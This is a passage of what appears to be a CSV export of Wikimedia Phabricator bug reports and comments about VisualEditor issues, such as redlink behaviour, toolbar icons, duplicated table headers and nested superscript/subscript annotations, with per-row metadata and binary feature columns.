+In the first case, we probably don't want that to happen on WMF sites at all.",,,1418291385,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+340897,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Thanks for the patch. I think we should look for a solution that neither requires a user preference nor a forced standard for all users. Can we initialize the interface in a way that reflects the user's previous choice (for the first time, it is whatever the wiki's default is)? Can this be done intuitively without going all the way to reorganizing tabs? Partially a #design question.",,,1418289610,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+340890,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely.",,,1418289058,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,75,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+340887,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely. Especially since it still doesn't support real section editing (T50429).",,,1418288995,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,75,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+340287,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 had a related patch set uploaded (by Ricordisamoa):
+Consistent edit links
+
+[[https://gerrit.wikimedia.org/r/178817]]
+
+#patch-for-review",,,1418211040,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+340286,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Let's give it a try.,,,1418211003,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+55420,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,"**Author:** `p.selitskas`
+
+**Description:**
+Reproducing:
+1. Open the VisualEditor
+2. Put the cursor in a place where ""Paragraph"" (or whatever else) disappears. (For example, into the ugly and unbearable empty line in pages with infobox at the very beginning.) The content editor must be kept active and cursor blinking.
+3. Scroll it down a bit.
+4. Press Ctrl, Alt, or Shift, or every possible combination of these
+5. See the content editor scroll up step by step (or as many steps per time as many keys are in combination.
+
+I can reproduce this in Chrome 29.0.1547.57 and Firefox 23.0.1 on Windows.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1377634200,1437759675.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-oveveoihmpyqrm3ltjzu,task_description,resolved,True,c1,3,False,False,False,8,,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+496522,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,Seems to be fixed now.,,,1437759675,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-oveveoihmpyqrm3ltjzu,task_subcomment,,True,c1,3,True,,,107,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+241512,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,"fwiw, this is still happening.",,,1383117125,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oveveoihmpyqrm3ltjzu,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+55396,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","en.wp user Risker reports from an editathon that of the participants:
+""not a one of them understood what the ""puzzle piece"" was supposed to represent, and when shown, all of them still thought it was a poorly chosen icon.  Most had no suggestion as to an alternative, although two thought ""curly brackets"" would be a good idea.  I suspect that's because they'd seen curly brackets for templates when using wikitext.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51372",Medium,50.0,1377598380,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_description,open,True,c1,3,False,False,,8,,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0
+598259,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements",Can we close this given we now show text in the menu?,,,1453915511,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,True,,,134,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+240354,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","(In reply to comment #0)
+> en.wp user Risker reports from an editathon that of the participants:
+> ""not a one of them understood what the ""puzzle piece"" was supposed to
+> represent, and when shown, all of them still thought it was a poorly chosen
+> icon.
+
+Yeah; we all hate it, and are using it because it's the least-bad option suggested so far (it's historically been the icon used in attempts at visual editors for MW since 2003).
+
+>  Most had no suggestion as to an alternative, although two thought
+> ""curly brackets"" would be a good idea.  I suspect that's because they'd seen
+> curly brackets for templates when using wikitext.""
+
+Indeed - we're trying to break the linkage with wikitext, and I don't think braces make for much of an increased level of obviousness.
+
+The new toolbar which allows buttons to self-describe if they're in a drop-down may help this significantly, but for now will keep this open.",,,1377831641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+240350,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","**ypnypn9** wrote:
+
+How about just using the word ""Template""? Words are more obvious than even the best icons. (A disadvantage of this is that it would require a lot of translations, but this is not a huge problem.)",,,1377638244,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+55394,Broken wikitext inside a table leads to it and the table header being duplicated,"This is probably an occurrence of an existing bug, but I couldn't find one that really fitted.
+
+In these edits, the table header was duplicated several times:
+
+https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95906046&oldid=95898800
+https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95848040&oldid=95838194
+https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95778036&oldid=95766921
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377596700,1418097332.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_description,resolved,True,c1,3,False,False,False,8,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+339708,Broken wikitext inside a table leads to it and the table header being duplicated,"The rts look pretty reasonable to me these days. I'll assume whatever was causing the issue has cleared up.
+
+http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95898800
+http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95838194
+http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95766921
+http://localhost:8000/_rt/frwiki/Utilisateur%3AElitre_%28WMF%29%2FProve_VE?oldid=100438786",,,1418097332,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+240243,Broken wikitext inside a table leads to it and the table header being duplicated,"Yes, it is:
+https://fr.wikipedia.org/w/index.php?title=Utilisateur%3AElitre_%28WMF%29%2FProve_VE&diff=100438830&oldid=100438786 .",,,1390237691,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+240241,Broken wikitext inside a table leads to it and the table header being duplicated,Is thist still an issue in production?,,,1386113968,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+240238,Broken wikitext inside a table leads to it and the table header being duplicated,"Ya, I've responded to this here: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Multiplication_of_table_headers. 
+
+This general use case of fosterable content has been handled in Parsoid. Not sure why it is failing in production when I cannot reproduce it locally. To be investigated.",,,1380067514,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+240235,Broken wikitext inside a table leads to it and the table header being duplicated,"Trying to work out what the cause of the bug is here; certainly, it's trying to operate on completely-broken wikitext, viz.:
+
+{| bgcolor=""#f7f0ff"" border=""1"" cellpadding=""2"" cellspacing=""0"" style=""font-size: 90%; border: gray solid 1px; border-collapse: collapse;""
+** '''[[Pro Wrestling Illustrated#Top 50 Females|Top 50 Females]]
+
+(!)
+
+This looks to have DSR issues as well (see the creation broken syntax with a single close-] alongside the partial wikitext non-DOM-sensicle duplication), and as the broken edits don't get a VE-check tag I'm assuming the DOM is clean from the VE end - moving to Parsoid.",,,1380067021,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,12,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+240233,Broken wikitext inside a table leads to it and the table header being duplicated,"More of them, making a lot of damages.
+Any idea when someone will look at this bug, prioritize it, assign it and fix it ?
+
+https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96858939&oldid=96858743
+https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=next&oldid=96858939
+https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96801326&oldid=96761115
+https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=prev&oldid=96761115
+https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96119241&oldid=96014996",,,1379873418,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0
+55356,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","Right now the CommandRegistry only takes a single command that can be used as a keybinding for a tool on a given platform (i.e. Mac, PC, etc.); it's thus not possible to have two keyboard shortcuts for the same tool, such as Undo (where both Ctrl+Y and Ctrl+Shift+Z are commonly used).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377533460,1394076375.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j32rmxvcdit6df4qvtqi,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+238171,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","(In reply to comment #1)
+> For ""Undo"" read ""Redo"" in James' comment
+
+Err. Yes. :-)",,,1377535865,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-j32rmxvcdit6df4qvtqi,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+238165,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","For ""Undo"" read ""Redo"" in James' comment",,,1377533902,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-j32rmxvcdit6df4qvtqi,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+55330,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","VE allows to mark text as both superscripted and subscripted (<sup><sub>text</sub></sup> or the other way). That sounds like a bad idea; such text simply ends up being displayed in smaller font.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377465840,1404341917.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-oml53qiv2ffx7tuvmx47,task_description,resolved,True,c1,3,True,False,False,7,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1
+236835,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Let's leave the bug as fixed in the original fix, not the recent minor breakage.",,,1405043173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+236828,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Verified the fix in production,,,1405033980,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,53,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+236820,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 143756 merged by jenkins-bot:
+Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes
+
+https://gerrit.wikimedia.org/r/143756",,,1404341575,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236810,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 143756 had a related patch set uploaded by Catrope:
+Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes
+
+https://gerrit.wikimedia.org/r/143756",,,1404341432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236804,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",I can't reproduce. Steps?,,,1404313005,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+236799,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","This is happening again, the superscript and subscript both are getting applied at the same time.",,,1404239230,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+236793,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Verified the fix in betalabs,,,1393631391,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+236790,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 114488 merged by jenkins-bot:
+Allow annotations to remove other annotations
+
+https://gerrit.wikimedia.org/r/114488",,,1393453702,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236787,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Yeah, that's what I meant. Thanks.",,,1392914022,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+236785,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to Bartosz Dziewoński from comment #9)
+> (In reply to James Forrester from comment #8)
+> > (a) what should happen in VE when the user attempts this
+> 
+> Text should be either super- or subscripted, not both.
+> 
+> Nesting superscripts in subscripts, subscripts in superscripts,
+> subscripts in subscripts and superscripts in superscripts
+> should be impossible, just like it's impossible to nest links in other
+> links. Currently only the last two are impossible.
+
+This works for me. Re-wording bug for clarity – is this acceptable to you?",,,1392913756,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+236783,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 114488 had a related patch set uploaded by Esanders:
+Allow annotations to remove other annotations
+
+https://gerrit.wikimedia.org/r/114488",,,1392913587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236777,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to Ed Sanders from comment #10)
+> I don't think we need to alienate such nested content though, in the same
+> way we don't alienate a double bold tag (if someone used one). As long as
+> the user doesn't try to change the sub/superscripting, the annotations will
+> remain untouched.
+
